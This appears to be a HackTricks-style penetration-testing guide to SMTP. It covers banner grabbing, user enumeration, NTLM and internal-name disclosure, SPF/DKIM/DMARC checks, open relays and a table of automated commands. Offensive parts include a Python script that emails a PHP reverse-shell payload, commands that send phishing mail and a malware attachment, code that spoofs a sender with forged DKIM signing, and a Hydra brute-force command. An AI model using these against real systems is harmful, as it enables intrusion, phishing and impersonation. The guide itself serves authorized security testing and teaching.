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smtp-smuggling.md	GITBOOK-4331: No subject	2024-05-08 15:46:12 +00:00

README.md

25,465,587 - Pentesting SMTP/s

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{% embed url="https://pentest-tools.com/" %}

Basic Information

The Simple Mail Transfer Protocol (SMTP) is a protocol utilized within the TCP/IP suite for the sending and receiving of e-mail. Due to its limitations in queuing messages at the recipient's end, SMTP is often employed alongside either POP3 or IMAP. These additional protocols enable users to store messages on a server mailbox and to periodically download them.

In practice, it is common for e-mail programs to employ SMTP for sending e-mails, while utilizing POP3 or IMAP for receiving them. On systems based on Unix, sendmail stands out as the SMTP server most frequently used for e-mail purposes. The commercial package known as Sendmail encompasses a POP3 server. Furthermore, Microsoft Exchange provides an SMTP server and offers the option to include POP3 support.

Default port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

If you have the opportunity to make the victim send you a email (via contact form of the web page for example), do it because you could learn about the internal topology of the victim seeing the headers of the mail.

You can also get an email from a SMTP server trying to send to that server an email to a non-existent address (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages.

You should also try to send different contents because you can find more interesting information on the headers like: X-Virus-Scanned: by av.domain.com
You should send the EICAR test file.
Detecting the AV may allow you to exploit known vulnerabilities.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Finding MX servers of an organisation

dig +short mx google.com

Enumeration

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Information disclosure

If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info here.

root@kali: telnet example.com 587 
220 example.com SMTP Server Banner 
>> HELO 
250 example.com Hello [x.x.x.x] 
>> AUTH NTLM 334 
NTLM supported 
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Or automate this with nmap plugin smtp-ntlm-info.nse

Internal server name - Information disclosure

Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200 
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Check if you sniff some password from the packets to port 25

Auth bruteforce

Username Bruteforce Enumeration

Authentication is not always needed

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Automatic tools

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

{% embed url="https://pentest-tools.com/" %}

DSN Reports

Delivery Status Notification Reports: If you send an email to an organisation to an invalid address, the organisation will notify that the address was invalided sending a mail back to you. Headers of the returned email will contain possible sensitive information (like IP address of the mail services that interacted with the reports or anti-virus software info).

Commands

Sending an Email from linux console

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

<phishing message>

 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Sending an Email with Python

Pyhton code here

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = "" 
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload 
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
    print("[-]Connection Error")
    exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

SMTP Smuggling vulnerability allowed to bypass all the SMTP protections (check the next section for more info about protections). For more info on SMTP Smuggling check:

{% content-ref url="smtp-smuggling.md" %} smtp-smuggling.md {% endcontent-ref %}

Mail Spoofing Countermeasures

Organizations are prevented from having unauthorized email sent on their behalf by employing SPF, DKIM, and DMARC due to the ease of spoofing SMTP messages.

A complete guide to these countermeasures is made available at https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF was "deprecated" in 2014. This means that instead of creating a TXT record in _spf.domain.com you create it in domain.com using the same syntax.
Moreover, to reuse previous spf records it's quiet common to find something like "v=spf1 include:_spf.google.com ~all" {% endhint %}

Sender Policy Framework (SPF) is a mechanism that enables Mail Transfer Agents (MTAs) to verify whether a host sending an email is authorized by querying a list of authorized mail servers defined by the organizations. This list, which specifies IP addresses/ranges, domains, and other entities authorized to send email on behalf of a domain name, includes various "Mechanisms" in the SPF record.

Mechanisms

From Wikipedia:

Mechanism	Description
ALL	Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms.
A	If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match.
IP4	If the sender is in a given IPv4 address range, match.
IP6	If the sender is in a given IPv6 address range, match.
MX	If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers).
PTR	If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible.
EXISTS	If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries.
INCLUDE	References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used.
REDIRECT	A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure. It SPF policy of the domain indicated in the redirect Mechanism will be used.

It's also possible to identify Qualifiers that indicates what should be done if a mechanism is matched. By default, the qualifier "+" is used (so if any mechanism is matched, that means it's allowed).
You usually will note at the end of each SPF policy something like: ~all or -all. This is used to indicate that if the sender doesn't match any SPF policy, you should tag the email as untrusted (~) or reject (-) the email.

Qualifiers

Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:

+: Corresponds to a PASS result. By default, mechanisms assume this qualifier, making +mx equivalent to mx.
?: Represents a NEUTRAL result, treated similarly to NONE (no specific policy).
~: Denotes SOFTFAIL, serving as a middle ground between NEUTRAL and FAIL. Emails meeting this result are typically accepted but marked accordingly.
-: Indicates FAIL, suggesting that the email should be outright rejected.

In the upcoming example, the SPF policy of google.com is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. Nowadays, if email comes from a domain without a valid SPF record is probably going to be rejected/marked as untrusted automatically.

To check the SPF of a domain you can use online tools like: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM is utilized to sign outbound emails, allowing their validation by external Mail Transfer Agents (MTAs) through the retrieval of the domain's public key from DNS. This public key is located in a domain's TXT record. To access this key, one must know both the selector and the domain name.

For instance, to request the key, the domain name and selector are essential. These can be found in the mail header DKIM-Signature, e.g., d=gmail.com;s=20120113.

A command to fetch this information might look like:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC enhances email security by building on SPF and DKIM protocols. It outlines policies that guide mail servers in the handling of emails from a specific domain, including how to deal with authentication failures and where to send reports about email processing actions.

To obtain the DMARC record, you need to query the subdomain _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Tag Name	Purpose	Sample
v	Protocol version	v=DMARC1
pct	Percentage of messages subjected to filtering	pct=20
ruf	Reporting URI for forensic reports	ruf=mailto:authfail@example.com
rua	Reporting URI of aggregate reports	rua=mailto:aggrep@example.com
p	Policy for organizational domain	p=quarantine
sp	Policy for subdomains of the OD	sp=reject
adkim	Alignment mode for DKIM	adkim=s
aspf	Alignment mode for SPF	aspf=r

What about Subdomains?

From here.
You need to have separate SPF records for each subdomain you wish to send mail from.
The following was originally posted on openspf.org, which used to be a great resource for this kind of thing.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there's no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn't make sense for Demon's policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT "v=spf1 -all"

This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition.

Open Relay

When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a relay server that is trusted by the recipient. However, a common challenge is that administrators might not be fully aware of which IP ranges are safe to allow. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments.

A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to allow connections from any IP address. This is done by configuring the SMTP server's mynetworks parameter to accept all IP addresses, as shown below:

mynetworks = 0.0.0.0/0

For checking whether a mail server is an open relay (which means it could forward email from any external source), the nmap tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using nmap is:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Tools

https://github.com/serain/mailspoof Check for SPF and DMARC misconfigurations
https://pypi.org/project/checkdmarc/ Automatically get SPF and DMARC configs

Send Spoof Email

Or you could use a tool:

https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} If you get any error using in the dkim python lib parsing the key feel free to use this following one.
NOTE: This is just a dirty fix to do quick checks in cases where for some reason the openssl private key cannot be parsed by dkim.

{% endhint %}

Or you could do it manually:

{% tabs %} {% tab title="PHP" %}

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
	<body>
		<h3>This is a test, not a scam</h3>
		<br />
	</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
    dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

More info

Find more information about these protections in https://seanthegeek.net/459/demystifying-dmarc/

Other phishing indicators

Domain’s age
Links pointing to IP addresses
Link manipulation techniques
Suspicious (uncommon) attachments
Broken email content
Values used that are different to those of the mail headers
Existence of a valid and trusted SSL certificate
Submission of the page to web content filtering sites

Exfiltration through SMTP

If you can send data via SMTP read this.

Config file

Postfix

Usually, if installed, in /etc/postfix/master.cf contains scripts to execute when for example a new mail is receipted by a user. For example the line flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} means that /etc/postfix/filtering will be executed if a new mail is received by the user mark.

Other config files:

sendmail.cf
submit.cf

References

HackTricks Automatic Commands

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for SMTP
  Note: |
    SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

    https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
  Name: Banner Grab
  Description: Grab SMTP Banner
  Command: nc -vn {IP} 25

Entry_3:
  Name: SMTP Vuln Scan
  Description: SMTP Vuln Scan With Nmap
  Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
  Name: SMTP User Enum
  Description: Enumerate uses with smtp-user-enum
  Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
  Name: SMTPS Connect
  Description: Attempt to connect to SMTPS two different ways
  Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
  Name: Find MX Servers
  Description: Find MX servers of an organization
  Command: dig +short mx {Domain_Name}

Entry_7:
  Name: Hydra Brute Force
  Description: Need Nothing
  Command: hydra -P {Big_Passwordlist} {IP} smtp -V
  
Entry_8:
  Name: consolesless mfs enumeration
  Description: SMTP enumeration without the need to run msfconsole
  Note: sourced from https://github.com/carlospolop/legion
  Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

{% embed url="https://pentest-tools.com/" %}

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README.md Unescape Escape

25,465,587 - Pentesting SMTP/s

Basic Information

EMAIL Headers

Basic actions

Banner Grabbing/Basic connection

Finding MX servers of an organisation

Enumeration

NTLM Auth - Information disclosure

Internal server name - Information disclosure

Sniffing

Auth bruteforce

Username Bruteforce Enumeration

RCPT TO

VRFY

EXPN

Automatic tools

DSN Reports

Commands

Sending an Email from linux console

Sending an Email with Python

SMTP Smuggling

Mail Spoofing Countermeasures

SPF

Mechanisms

Qualifiers

DKIM (DomainKeys Identified Mail)

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC tags

What about Subdomains?

Open Relay

Tools

Send Spoof Email

More info

Other phishing indicators

Exfiltration through SMTP

Config file

Postfix

References

HackTricks Automatic Commands

README.md